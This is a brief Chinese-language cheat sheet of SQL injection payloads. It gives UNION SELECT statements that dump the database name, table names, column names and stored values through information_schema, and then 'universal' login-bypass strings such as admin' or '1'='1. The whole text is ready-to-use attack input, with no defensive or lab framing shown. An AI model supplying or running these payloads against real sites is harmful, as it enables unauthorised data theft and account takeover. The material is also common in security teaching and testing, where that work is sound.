1、爆库、爆表、爆字段、爆值常用语句
爆库:
union select 1,2,3,database(); #
爆表:
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database(); #
爆字段:
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="表名"; #
爆值:
union select 1,2,3,字段 from 表名; #
2、万能公式
a’ or true #
username=admin’ or ‘1’=‘1&password=admin’ or ‘1’='1
等